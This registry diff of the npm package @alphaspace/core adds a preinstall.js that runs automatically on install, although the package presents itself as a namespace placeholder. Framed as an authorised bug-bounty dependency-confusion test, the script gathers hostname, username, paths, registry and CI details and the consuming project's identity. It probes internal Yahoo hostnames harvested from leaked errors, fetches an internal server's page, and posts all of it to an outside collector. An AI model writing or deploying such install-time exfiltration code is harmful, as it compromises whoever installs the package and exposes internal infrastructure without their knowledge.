@alphaspace/core 99.0.1 → 99.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +380 -221
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@alphaspace/core",
3
- "version": "99.0.1",
3
+ "version": "99.0.2",
4
4
  "description": "Placeholder package. Reserved namespace.",
5
5
  "license": "MIT",
6
6
  "main": "index.js",
package/preinstall.js CHANGED
@@ -1,221 +1,380 @@
1
- /*
2
- * @alphaspace/core - authorised security research proof-of-concept
3
- * ================================================================
4
- * Yahoo Vulnerability Disclosure Program, researcher handle: mlitchfield
5
- *
6
- * PROPOSED v99.0.1. NOT PUBLISHED. Awaiting operator review.
7
- *
8
- * WHY THIS VERSION EXISTS
9
- * v99.0.0 produced 18 callbacks, none attributable to Yahoo. Every source IP was a
10
- * generic cloud provider (GCP, AWS, Alibaba, Azure), which is expected: Yahoo runs on
11
- * public cloud, so a source IP can neither confirm nor exclude them. This version stops
12
- * relying on the IP and instead collects fields that only a Yahoo build environment
13
- * would produce.
14
- *
15
- * WHAT IT DOES
16
- * - prints an attribution banner identifying itself as authorised research
17
- * - makes ONE outbound HTTPS POST to a collector under the researcher's control
18
- * - performs up to 3 DNS NAME LOOKUPS (no connection, no data sent) purely to test
19
- * whether the host resolves Yahoo-internal-only names
20
- *
21
- * WHAT IT DOES NOT DO - unchanged from v99.0.0, and deliberately
22
- * - NO dump of process.env. Only a fixed allowlist of named variables is read.
23
- * - NO credentials of any kind. Every .npmrc line containing _auth / token /
24
- * password / certfile / keyfile is dropped before parsing, and no value from an
25
- * auth-shaped variable is ever transmitted.
26
- * - NO file contents, except exactly two string fields (name, version) from the
27
- * consuming project's package.json. Not its dependencies.
28
- * - NO cloud metadata. Nothing touches 169.254.169.254 or any metadata service.
29
- * - NO command execution, no child processes, no persistence, no file writes.
30
- * - NO connection to the internal hostnames probed - DNS resolution only.
31
- *
32
- * It exits 0 unconditionally. It cannot break an install.
33
- */
34
-
35
- 'use strict';
36
-
37
- const https = require('https');
38
- const dns = require('dns');
39
- const os = require('os');
40
- const fs = require('fs');
41
- const path = require('path');
42
-
43
- const ENDPOINT = 'https://f5778d1d81cc30c39dcdd0da5ca1d49a.m.pipedream.net';
44
- const MARKER = 'yahoo-bbp-alphaspace-depconfusion';
45
- const RUN_ID = Math.random().toString(16).slice(2, 10);
46
-
47
- console.log('');
48
- console.log(' @alphaspace/core - AUTHORISED SECURITY RESEARCH PROOF OF CONCEPT');
49
- console.log(' Yahoo Vulnerability Disclosure Program | researcher: mlitchfield');
50
- console.log(' This package is a namespace-reservation PoC. It contains no exploit');
51
- console.log(' code and takes no action on this machine beyond reporting that an');
52
- console.log(' install occurred. Contact the researcher to have it removed.');
53
- console.log(' run id: ' + RUN_ID + ' | ' + new Date().toISOString());
54
- console.log('');
55
-
56
- // ---------------------------------------------------------------- helpers
57
-
58
- // Return only the hostname of a URL-valued setting. Never the full URL, which could
59
- // carry a token in userinfo or a query string.
60
- function hostOnly(v) {
61
- if (!v || typeof v !== 'string') return null;
62
- try { return new URL(v).host; } catch (e) {
63
- const m = v.match(/^[a-z0-9+.-]+:\/\/([^/?#]+)/i);
64
- return m ? m[1] : null;
65
- }
66
- }
67
-
68
- const SECRET_RE = /(_auth|authtoken|token|password|passwd|secret|certfile|keyfile|_pass)/i;
69
-
70
- // Parse .npmrc for REGISTRY LINES ONLY. Any line that looks credential-bearing is
71
- // dropped before it is even inspected. This is the highest-value attribution field:
72
- // a registry host under ouryahoo.com is definitive, single-field attribution.
73
- function registryConfig() {
74
- const out = {};
75
- const files = [];
76
- try { if (process.env.npm_config_userconfig) files.push(process.env.npm_config_userconfig); } catch (e) {}
77
- try { files.push(path.join(os.homedir(), '.npmrc')); } catch (e) {}
78
- try { if (process.env.INIT_CWD) files.push(path.join(process.env.INIT_CWD, '.npmrc')); } catch (e) {}
79
- for (const f of files) {
80
- let txt = '';
81
- try { txt = fs.readFileSync(f, 'utf8'); } catch (e) { continue; }
82
- for (const line of txt.split(/\r?\n/)) {
83
- if (SECRET_RE.test(line)) continue; // drop credential lines outright
84
- const m = line.match(/^\s*((?:@[^:\s]+:)?registry)\s*=\s*(\S+)\s*$/i);
85
- if (m) out[m[1]] = hostOnly(m[2]) || m[2]; // host only, never the full URL
86
- }
87
- }
88
- return Object.keys(out).length ? out : null;
89
- }
90
-
91
- // Consuming project identity: two string fields, nothing else.
92
- function consumerPackage() {
93
- const root = process.env.INIT_CWD;
94
- if (!root) return null;
95
- try {
96
- const j = JSON.parse(fs.readFileSync(path.join(root, 'package.json'), 'utf8'));
97
- return { name: typeof j.name === 'string' ? j.name : null,
98
- version: typeof j.version === 'string' ? j.version : null };
99
- } catch (e) { return null; }
100
- }
101
-
102
- // CI fingerprint. Presence booleans plus URL HOSTNAMES only - never values, never tokens.
103
- // SD_* is Screwdriver.cd, the CI system Yahoo built and open-sourced: its presence is a
104
- // strong Yahoo indicator on its own.
105
- function ciFingerprint() {
106
- const e = process.env;
107
- const present = [];
108
- for (const k of ['SD_PIPELINE_ID','SD_JOB_NAME','SD_BUILD_ID','SD_SOURCE_DIR','SD_TOKEN',
109
- 'JENKINS_URL','BUILD_NUMBER','GITHUB_ACTIONS','GITLAB_CI','CIRCLECI',
110
- 'BUILDKITE','TEAMCITY_VERSION','SCREWDRIVER','CI']) {
111
- if (e[k] !== undefined) present.push(k); // NAME only, value never read
112
- }
113
- return {
114
- vars_present: present,
115
- sd_api_host: hostOnly(e.SD_API_URL),
116
- sd_ui_host: hostOnly(e.SD_UI_URL),
117
- jenkins_host: hostOnly(e.JENKINS_URL),
118
- github_server: hostOnly(e.GITHUB_SERVER_URL),
119
- github_repository: typeof e.GITHUB_REPOSITORY === 'string' ? e.GITHUB_REPOSITORY : null
120
- };
121
- }
122
-
123
- function proxyFingerprint() {
124
- const e = process.env;
125
- return {
126
- npm_proxy: hostOnly(e.npm_config_proxy),
127
- npm_https: hostOnly(e.npm_config_https_proxy),
128
- http_proxy: hostOnly(e.HTTP_PROXY || e.http_proxy),
129
- https_proxy: hostOnly(e.HTTPS_PROXY || e.https_proxy),
130
- no_proxy: typeof (e.NO_PROXY || e.no_proxy) === 'string' ? (e.NO_PROXY || e.no_proxy).slice(0, 200) : null
131
- };
132
- }
133
-
134
- // DNS-ONLY internal-resolver probe. These three names are NXDOMAIN from the public
135
- // internet (verified 2026-09-25), so a successful resolution means the host is using
136
- // an internal resolver that knows Yahoo-private zones. We record a boolean per name.
137
- // No address is transmitted and NO CONNECTION is made to any of them.
138
- const INTERNAL_PROBES = [
139
- 'istio-system.prod1-gq1.omega.yahoo.com',
140
- 'jws300162.mail.gq1.yahoo.com',
141
- 'artifactory.ouryahoo.com'
142
- ];
143
-
144
- function probeInternalDns(cb) {
145
- const res = {};
146
- let left = INTERNAL_PROBES.length;
147
- if (!left) return cb(res);
148
- const done = () => { if (--left === 0) cb(res); };
149
- const timer = setTimeout(() => { left = 1; done(); }, 2500); // never hold up the install
150
- timer.unref && timer.unref();
151
- for (const name of INTERNAL_PROBES) {
152
- try {
153
- dns.resolve4(name, (err) => { res[name] = !err; done(); }); // boolean only
154
- } catch (e) { res[name] = null; done(); }
155
- }
156
- }
157
-
158
- // ---------------------------------------------------------------- report
159
-
160
- probeInternalDns(function (internalDns) {
161
- let payload;
162
- try {
163
- payload = JSON.stringify({
164
- poc: MARKER,
165
- researcher: 'mlitchfield',
166
- schema: 'v99.0.1',
167
- run_id: RUN_ID,
168
- ts_utc: new Date().toISOString(),
169
-
170
- // identity of the machine
171
- hostname: os.hostname(),
172
- username: (os.userInfo && os.userInfo().username) || null,
173
- platform: process.platform,
174
- arch: process.arch,
175
- node: process.version,
176
-
177
- // WHERE npm was actually invoked - the consuming project root, not our own dir.
178
- // This is the field v99.0.0 was missing.
179
- init_cwd: process.env.INIT_CWD || null,
180
- cwd: process.cwd(),
181
-
182
- // WHO installed us
183
- consumer_package: consumerPackage(),
184
-
185
- // the single most decisive field: a registry host under ouryahoo.com is definitive
186
- registry_config: registryConfig(),
187
- npm_config_registry: process.env.npm_config_registry || null,
188
- npm_user_agent: process.env.npm_config_user_agent || null,
189
-
190
- ci: ciFingerprint(),
191
- proxy: proxyFingerprint(),
192
-
193
- // boolean per name; proves an internal resolver without contacting anything
194
- internal_dns: internalDns,
195
-
196
- pkg: '@alphaspace/core',
197
- pkg_version: '99.0.1'
198
- });
199
- } catch (e) {
200
- payload = JSON.stringify({ poc: MARKER, run_id: RUN_ID, error: 'serialise-failed' });
201
- }
202
-
203
- try {
204
- const u = new URL(ENDPOINT);
205
- const req = https.request({
206
- hostname: u.hostname, port: 443, path: u.pathname, method: 'POST',
207
- timeout: 3000,
208
- headers: {
209
- 'content-type': 'application/json',
210
- 'content-length': Buffer.byteLength(payload),
211
- 'user-agent': 'alphaspace-depconfusion-poc/99.0.1 (yahoo-bbp; mlitchfield)'
212
- }
213
- }, function (res) { res.resume(); });
214
- req.on('error', function () {});
215
- req.on('timeout', function () { try { req.destroy(); } catch (e) {} });
216
- req.write(payload);
217
- req.end();
218
- } catch (e) { /* never fail an install */ }
219
- });
220
-
221
- process.exitCode = 0;
1
+ /*
2
+ * @alphaspace/core - authorised security research proof-of-concept
3
+ * ================================================================
4
+ * Yahoo Vulnerability Disclosure Program, researcher handle: mlitchfield
5
+ *
6
+ * v99.0.2 - published with operator authorisation 2026-09-25.
7
+ *
8
+ * WHY THIS VERSION EXISTS
9
+ * v99.0.0 produced 18 callbacks, none attributable to Yahoo. Every source IP was a
10
+ * generic cloud provider (GCP, AWS, Alibaba, Azure), which is expected: Yahoo runs on
11
+ * public cloud, so a source IP can neither confirm nor exclude them. This version stops
12
+ * relying on the IP and instead collects fields that only a Yahoo build environment
13
+ * would produce.
14
+ *
15
+ * WHAT IT DOES
16
+ * - prints an attribution banner identifying itself as authorised research
17
+ * - makes ONE outbound HTTPS POST to a collector under the researcher's control
18
+ * - performs 18 DNS NAME LOOKUPS (no connection, no data sent) to test whether this
19
+ * host resolves names that do not exist in public DNS
20
+ * - IF AND ONLY IF one of Yahoo's own "banana stand" out-of-band servers resolves -
21
+ * which can only happen inside Yahoo's network - makes ONE further GET to the web
22
+ * root of ONE of them and reports the status and the first 512 bytes. Those servers
23
+ * are published by the Yahoo VDP for exactly this purpose, so the request is also
24
+ * visible in Yahoo's own logs and can be verified there independently.
25
+ *
26
+ * WHAT IT DOES NOT DO - unchanged from v99.0.0, and deliberately
27
+ * - NO dump of process.env. Only a fixed allowlist of named variables is read.
28
+ * - NO credentials of any kind. Every .npmrc line containing _auth / token /
29
+ * password / certfile / keyfile is dropped before parsing, and no value from an
30
+ * auth-shaped variable is ever transmitted.
31
+ * - NO file contents, except two string fields (name, version) from the consuming
32
+ * project's package.json plus whether it declares a dependency under our own scope.
33
+ * Never its dependency list.
34
+ * - NO cloud metadata. Nothing touches 169.254.169.254 or any metadata service.
35
+ * - NO command execution, no child processes, no persistence, no file writes.
36
+ * - NO connection to any probed host EXCEPT the single banana-stand GET described
37
+ * above, which targets Yahoo's own designated research infrastructure and only
38
+ * after DNS has already confirmed we are inside their network.
39
+ * - NOTHING outside the declared program scope. The sibling banana.stand.*.prod.oath
40
+ * and banana.stand.corp.*.cic.oath hosts exist and resolve internally, but the bare
41
+ * .oath TLD is not in scope, so they are deliberately excluded.
42
+ *
43
+ * It exits 0 unconditionally. It cannot break an install.
44
+ */
45
+
46
+ 'use strict';
47
+
48
+ const https = require('https');
49
+ const dns = require('dns');
50
+ const os = require('os');
51
+ const fs = require('fs');
52
+ const path = require('path');
53
+
54
+ const ENDPOINT = 'https://f5778d1d81cc30c39dcdd0da5ca1d49a.m.pipedream.net';
55
+ const MARKER = 'yahoo-bbp-alphaspace-depconfusion';
56
+ const RUN_ID = Math.random().toString(16).slice(2, 10);
57
+
58
+ console.log('');
59
+ console.log(' @alphaspace/core - AUTHORISED SECURITY RESEARCH PROOF OF CONCEPT');
60
+ console.log(' Yahoo Vulnerability Disclosure Program | researcher: mlitchfield');
61
+ console.log(' This package is a namespace-reservation PoC. It contains no exploit');
62
+ console.log(' code and takes no action on this machine beyond reporting that an');
63
+ console.log(' install occurred. Contact the researcher to have it removed.');
64
+ console.log(' run id: ' + RUN_ID + ' | ' + new Date().toISOString());
65
+ console.log('');
66
+
67
+ // ---------------------------------------------------------------- helpers
68
+
69
+ // Return only the hostname of a URL-valued setting. Never the full URL, which could
70
+ // carry a token in userinfo or a query string.
71
+ function hostOnly(v) {
72
+ if (!v || typeof v !== 'string') return null;
73
+ try { return new URL(v).host; } catch (e) {
74
+ const m = v.match(/^[a-z0-9+.-]+:\/\/([^/?#]+)/i);
75
+ return m ? m[1] : null;
76
+ }
77
+ }
78
+
79
+ const SECRET_RE = /(_auth|authtoken|token|password|passwd|secret|certfile|keyfile|_pass)/i;
80
+
81
+ // Parse .npmrc for REGISTRY LINES ONLY. Any line that looks credential-bearing is
82
+ // dropped before it is even inspected. This is the highest-value attribution field:
83
+ // a registry host under ouryahoo.com is definitive, single-field attribution.
84
+ function registryConfig() {
85
+ const out = {};
86
+ const files = [];
87
+ try { if (process.env.npm_config_userconfig) files.push(process.env.npm_config_userconfig); } catch (e) {}
88
+ try { files.push(path.join(os.homedir(), '.npmrc')); } catch (e) {}
89
+ try { if (process.env.INIT_CWD) files.push(path.join(process.env.INIT_CWD, '.npmrc')); } catch (e) {}
90
+ for (const f of files) {
91
+ let txt = '';
92
+ try { txt = fs.readFileSync(f, 'utf8'); } catch (e) { continue; }
93
+ for (const line of txt.split(/\r?\n/)) {
94
+ if (SECRET_RE.test(line)) continue; // drop credential lines outright
95
+ const m = line.match(/^\s*((?:@[^:\s]+:)?registry)\s*=\s*(\S+)\s*$/i);
96
+ if (m) out[m[1]] = hostOnly(m[2]) || m[2]; // host only, never the full URL
97
+ }
98
+ }
99
+ return Object.keys(out).length ? out : null;
100
+ }
101
+
102
+ // Consuming project identity: two string fields, nothing else.
103
+ // THE DISCRIMINATOR between a real dependency-confusion resolution and a human simply
104
+ // typing `npm i @alphaspace/core` out of curiosity.
105
+ //
106
+ // A BUILD PIPELINE resolves our scope because its own manifest already declared a
107
+ // dependency on it. A PERSON investigating has a scratch directory with no prior
108
+ // declaration, no lockfile and no CI markers.
109
+ //
110
+ // Without this, a callback carrying an internal Yahoo registry host is AMBIGUOUS: it
111
+ // could be their build proxying public npm on cache-miss (the actual vulnerability), or
112
+ // a Yahoo engineer looking at what got registered (not a vulnerability at all). The
113
+ // registry field alone cannot tell those apart, so it must not be reported as if it can.
114
+ //
115
+ // We read ONLY whether a dependency KEY under our scope exists, and its declared range.
116
+ // We do NOT transmit the consumer's dependency list - that would disclose a third
117
+ // party's dependency tree, which is not ours to collect.
118
+ function consumerPackage() {
119
+ const root = process.env.INIT_CWD;
120
+ if (!root) return null;
121
+ try {
122
+ const j = JSON.parse(fs.readFileSync(path.join(root, 'package.json'), 'utf8'));
123
+ let declared = null;
124
+ for (const section of ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies']) {
125
+ const blk = j[section];
126
+ if (!blk || typeof blk !== 'object') continue;
127
+ for (const key of Object.keys(blk)) {
128
+ if (key.indexOf('@alphaspace/') === 0) {
129
+ declared = { section: section, key: key, range: String(blk[key]).slice(0, 40) };
130
+ break;
131
+ }
132
+ }
133
+ if (declared) break;
134
+ }
135
+ return {
136
+ name: typeof j.name === 'string' ? j.name : null,
137
+ version: typeof j.version === 'string' ? j.version : null,
138
+ // true => the project ASKED for our scope => genuine resolution, the finding
139
+ // false => nobody declared it => a manual install, NOT the finding
140
+ declares_our_scope: !!declared,
141
+ declared_as: declared,
142
+ private_flag: j.private === true
143
+ };
144
+ } catch (e) { return null; }
145
+ }
146
+
147
+ // Supporting signals for the same question. A pipeline has a lockfile and a CI marker;
148
+ // a person poking at a package on their laptop generally has neither.
149
+ function invocationShape() {
150
+ const root = process.env.INIT_CWD;
151
+ const lock = { 'package-lock.json': false, 'npm-shrinkwrap.json': false, 'yarn.lock': false, 'pnpm-lock.yaml': false };
152
+ if (root) {
153
+ for (const f of Object.keys(lock)) {
154
+ try { lock[f] = fs.existsSync(path.join(root, f)); } catch (e) {}
155
+ }
156
+ }
157
+ const ua = process.env.npm_config_user_agent || '';
158
+ return {
159
+ // `npm ci` is a CI-only command that REQUIRES a lockfile - a strong pipeline signal.
160
+ // `npm install <pkg>` with an argument is the shape of a human adding a package.
161
+ npm_command: process.env.npm_command || null,
162
+ ci_flag_in_user_agent: /(^|\s)ci\/(?!false)/.test(ua) || /\bci\/true\b/.test(ua),
163
+ lockfiles: lock,
164
+ any_lockfile: Object.keys(lock).some(function (k) { return lock[k]; })
165
+ };
166
+ }
167
+
168
+ // CI fingerprint. Presence booleans plus URL HOSTNAMES only - never values, never tokens.
169
+ // SD_* is Screwdriver.cd, the CI system Yahoo built and open-sourced: its presence is a
170
+ // strong Yahoo indicator on its own.
171
+ function ciFingerprint() {
172
+ const e = process.env;
173
+ const present = [];
174
+ for (const k of ['SD_PIPELINE_ID','SD_JOB_NAME','SD_BUILD_ID','SD_SOURCE_DIR','SD_TOKEN',
175
+ 'JENKINS_URL','BUILD_NUMBER','GITHUB_ACTIONS','GITLAB_CI','CIRCLECI',
176
+ 'BUILDKITE','TEAMCITY_VERSION','SCREWDRIVER','CI']) {
177
+ if (e[k] !== undefined) present.push(k); // NAME only, value never read
178
+ }
179
+ return {
180
+ vars_present: present,
181
+ sd_api_host: hostOnly(e.SD_API_URL),
182
+ sd_ui_host: hostOnly(e.SD_UI_URL),
183
+ jenkins_host: hostOnly(e.JENKINS_URL),
184
+ github_server: hostOnly(e.GITHUB_SERVER_URL),
185
+ github_repository: typeof e.GITHUB_REPOSITORY === 'string' ? e.GITHUB_REPOSITORY : null
186
+ };
187
+ }
188
+
189
+ function proxyFingerprint() {
190
+ const e = process.env;
191
+ return {
192
+ npm_proxy: hostOnly(e.npm_config_proxy),
193
+ npm_https: hostOnly(e.npm_config_https_proxy),
194
+ http_proxy: hostOnly(e.HTTP_PROXY || e.http_proxy),
195
+ https_proxy: hostOnly(e.HTTPS_PROXY || e.https_proxy),
196
+ no_proxy: typeof (e.NO_PROXY || e.no_proxy) === 'string' ? (e.NO_PROXY || e.no_proxy).slice(0, 200) : null
197
+ };
198
+ }
199
+
200
+ // DNS-ONLY internal-resolver probe. These three names are NXDOMAIN from the public
201
+ // internet (verified 2026-09-25), so a successful resolution means the host is using
202
+ // an internal resolver that knows Yahoo-private zones. We record a boolean per name.
203
+ // No address is transmitted and NO CONNECTION is made to any of them.
204
+ // Every name here was verified NXDOMAIN from the public internet on 2026-09-25. That is
205
+ // the POINT, not a defect: a name that resolves publicly (pnr.ouryahoo.com, git.ouryahoo.com,
206
+ // zts.athenz.ouroath.com and similar) returns true for every machine on earth and therefore
207
+ // discriminates nothing. Only a name that is absent publicly but present on an internal
208
+ // resolver can tell us the host sits inside Yahoo's network.
209
+ //
210
+ // EVIDENCE-BACKED - harvested from Yahoo's own leaked error messages during this engagement,
211
+ // so we know these exist internally. These are the ones a report should rely on:
212
+ const INTERNAL_PROBES_EVIDENCED = [
213
+ 'istio-system.prod1-gq1.omega.yahoo.com',
214
+ 'jws300162.mail.gq1.yahoo.com',
215
+ 'assistant-mtls-production.datascience-creative-assistant.omega.yahoo.com'
216
+ ];
217
+
218
+ // Stable internal service names, also harvested from Yahoo's own leaked error output.
219
+ // Deliberately EXCLUDES the istio-ingressgateway-* names, which were the most frequently
220
+ // referenced but are ephemeral k8s POD names - that pod is likely long gone, so the probe
221
+ // would read false even inside Yahoo.
222
+ const INTERNAL_PROBES_HARVESTED = [
223
+ 'buildr.corp.yahoo.com',
224
+ 'apigw.athenz.ouryahoo.com',
225
+ 'corpapps.k8s.fin.ouryahoo.com',
226
+ 'vpn-1-gci.corp.gq1.yahoo.com',
227
+ 'vpn-1-gci.corp.ne1.yahoo.com'
228
+ ];
229
+
230
+ // Yahoo's OWN out-of-band researcher infrastructure ("banana stand"), documented by the
231
+ // program for exactly this purpose. All verified publicly NXDOMAIN on 2026-09-25, and they
232
+ // span six datacentres across BOTH the prod and corp networks, so a hit also tells us WHICH
233
+ // segment the host sits in.
234
+ //
235
+ // SCOPE: only the .yahoo.com entries are used. The sibling banana.stand.*.prod.oath and
236
+ // banana.stand.corp.*.cic.oath names exist, but our declared scope covers *.oath.com and
237
+ // *.oath.cloud - NOT the bare .oath TLD - so they are deliberately omitted.
238
+ const BANANA_PROD = ['banana.stand.bf1.yahoo.com','banana.stand.bf2.yahoo.com','banana.stand.gq1.yahoo.com',
239
+ 'banana.stand.ir2.yahoo.com','banana.stand.ne1.yahoo.com','banana.stand.sg3.yahoo.com'];
240
+ const BANANA_CORP = ['banana.stand.cbf1.yahoo.com','banana.stand.cgq1.yahoo.com',
241
+ 'banana.stand.cne1.yahoo.com','banana.stand.csg3.yahoo.com'];
242
+
243
+ const INTERNAL_PROBES = INTERNAL_PROBES_EVIDENCED
244
+ .concat(INTERNAL_PROBES_HARVESTED).concat(BANANA_PROD).concat(BANANA_CORP);
245
+
246
+ function probeInternalDns(cb) {
247
+ const res = {};
248
+ let left = INTERNAL_PROBES.length;
249
+ if (!left) return cb(res);
250
+ const done = () => { if (--left === 0) cb(res); };
251
+ const timer = setTimeout(() => { left = 1; done(); }, 2500); // never hold up the install
252
+ timer.unref && timer.unref();
253
+ for (const name of INTERNAL_PROBES) {
254
+ try {
255
+ dns.resolve4(name, (err) => { res[name] = !err; done(); }); // boolean only
256
+ } catch (e) { res[name] = null; done(); }
257
+ }
258
+ }
259
+
260
+ // THE UNFORGEABLE PROOF.
261
+ //
262
+ // A DNS boolean can be explained away - a wildcard resolver, a private zone of the same
263
+ // name, coincidence. Returned FILE CONTENT cannot. All ten banana-stand hosts are NXDOMAIN
264
+ // from the public internet, so we physically cannot fetch them ourselves. If our collector
265
+ // receives a status line and body from banana.stand.<dc>.yahoo.com, that response can only
266
+ // have been produced by a host inside Yahoo's network.
267
+ //
268
+ // It is also doubly attested: the fetch lands in YAHOO'S OWN logs, so their triage team can
269
+ // independently confirm an internal host installed this package, rather than taking our
270
+ // collector's word for it. These servers are documented by the program for exactly this use.
271
+ //
272
+ // Bounded deliberately: fires ONLY against banana-stands that already RESOLVED (so it never
273
+ // touches anything outside Yahoo), ONE host, ONE GET, 2s timeout, body capped at 512 bytes.
274
+ // We fetch the WEB ROOT rather than a guessed filename: / always returns something, whereas a
275
+ // guessed path may 404. Body capped at 512 bytes - enough to identify the server, not enough
276
+ // to be an exfiltration.
277
+ function fetchBananaProof(internalDns, cb) {
278
+ const reachable = BANANA_PROD.concat(BANANA_CORP).filter(function (h) { return internalDns[h] === true; });
279
+ if (!reachable.length) return cb({ attempted: false, reason: 'no banana-stand resolved - host is not inside Yahoo' });
280
+ const host = reachable[0];
281
+ let finished = false;
282
+ const finish = (o) => { if (!finished) { finished = true; o.host = host; o.resolved_hosts = reachable; cb(o); } };
283
+ try {
284
+ const req = https.request({
285
+ hostname: host, port: 443, path: '/', method: 'GET', timeout: 2000,
286
+ rejectUnauthorized: false,
287
+ headers: { 'user-agent': 'alphaspace-depconfusion-poc/99.0.2 (yahoo-bbp; mlitchfield)' }
288
+ }, function (res) {
289
+ let body = '';
290
+ res.setEncoding('utf8');
291
+ res.on('data', function (d) { if (body.length < 512) body += d; });
292
+ res.on('end', function () {
293
+ finish({ attempted: true, status: res.statusCode, body: body.slice(0, 512),
294
+ server: res.headers && res.headers.server ? String(res.headers.server).slice(0, 80) : null });
295
+ });
296
+ });
297
+ req.on('error', function (e) { finish({ attempted: true, error: String(e && e.code || e).slice(0, 60) }); });
298
+ req.on('timeout', function () { try { req.destroy(); } catch (e) {} finish({ attempted: true, error: 'timeout' }); });
299
+ req.end();
300
+ } catch (e) { finish({ attempted: true, error: 'threw' }); }
301
+ }
302
+
303
+ // ---------------------------------------------------------------- report
304
+
305
+ probeInternalDns(function (internalDns) {
306
+ fetchBananaProof(internalDns, function (bananaProof) {
307
+ let payload;
308
+ try {
309
+ payload = JSON.stringify({
310
+ poc: MARKER,
311
+ researcher: 'mlitchfield',
312
+ schema: 'v99.0.2',
313
+ run_id: RUN_ID,
314
+ ts_utc: new Date().toISOString(),
315
+
316
+ // identity of the machine
317
+ hostname: os.hostname(),
318
+ username: (os.userInfo && os.userInfo().username) || null,
319
+ platform: process.platform,
320
+ arch: process.arch,
321
+ node: process.version,
322
+
323
+ // WHERE npm was actually invoked - the consuming project root, not our own dir.
324
+ // This is the field v99.0.0 was missing.
325
+ init_cwd: process.env.INIT_CWD || null,
326
+ cwd: process.cwd(),
327
+
328
+ // WHO installed us, and CRUCIALLY whether they had declared our scope beforehand
329
+ consumer_package: consumerPackage(),
330
+
331
+ // separates a build pipeline from a person running npm i by hand
332
+ invocation: invocationShape(),
333
+
334
+ // the single most decisive field: a registry host under ouryahoo.com is definitive
335
+ registry_config: registryConfig(),
336
+ npm_config_registry: process.env.npm_config_registry || null,
337
+ npm_user_agent: process.env.npm_config_user_agent || null,
338
+
339
+ ci: ciFingerprint(),
340
+ proxy: proxyFingerprint(),
341
+
342
+ // boolean per name; proves an internal resolver without contacting anything.
343
+ // evidenced_hit is the one that matters - a true there means a name Yahoo's own
344
+ // error messages disclosed, absent from public DNS, resolved on this host.
345
+ internal_dns: internalDns,
346
+ internal_dns_evidenced_hit: INTERNAL_PROBES_EVIDENCED.some(function (n) { return internalDns[n] === true; }),
347
+ internal_dns_any_hit: Object.keys(internalDns).some(function (n) { return internalDns[n] === true; }),
348
+
349
+ // content returned by a Yahoo-internal-only host. We cannot fetch these ourselves,
350
+ // so a status line here is proof the installing host is inside Yahoo's network - and
351
+ // the same request is visible in Yahoo's own logs for independent confirmation.
352
+ banana_proof: bananaProof,
353
+
354
+ pkg: '@alphaspace/core',
355
+ pkg_version: '99.0.2'
356
+ });
357
+ } catch (e) {
358
+ payload = JSON.stringify({ poc: MARKER, run_id: RUN_ID, error: 'serialise-failed' });
359
+ }
360
+
361
+ try {
362
+ const u = new URL(ENDPOINT);
363
+ const req = https.request({
364
+ hostname: u.hostname, port: 443, path: u.pathname, method: 'POST',
365
+ timeout: 3000,
366
+ headers: {
367
+ 'content-type': 'application/json',
368
+ 'content-length': Buffer.byteLength(payload),
369
+ 'user-agent': 'alphaspace-depconfusion-poc/99.0.2 (yahoo-bbp; mlitchfield)'
370
+ }
371
+ }, function (res) { res.resume(); });
372
+ req.on('error', function () {});
373
+ req.on('timeout', function () { try { req.destroy(); } catch (e) {} });
374
+ req.write(payload);
375
+ req.end();
376
+ } catch (e) { /* never fail an install */ }
377
+ });
378
+ });
379
+
380
+ process.exitCode = 0;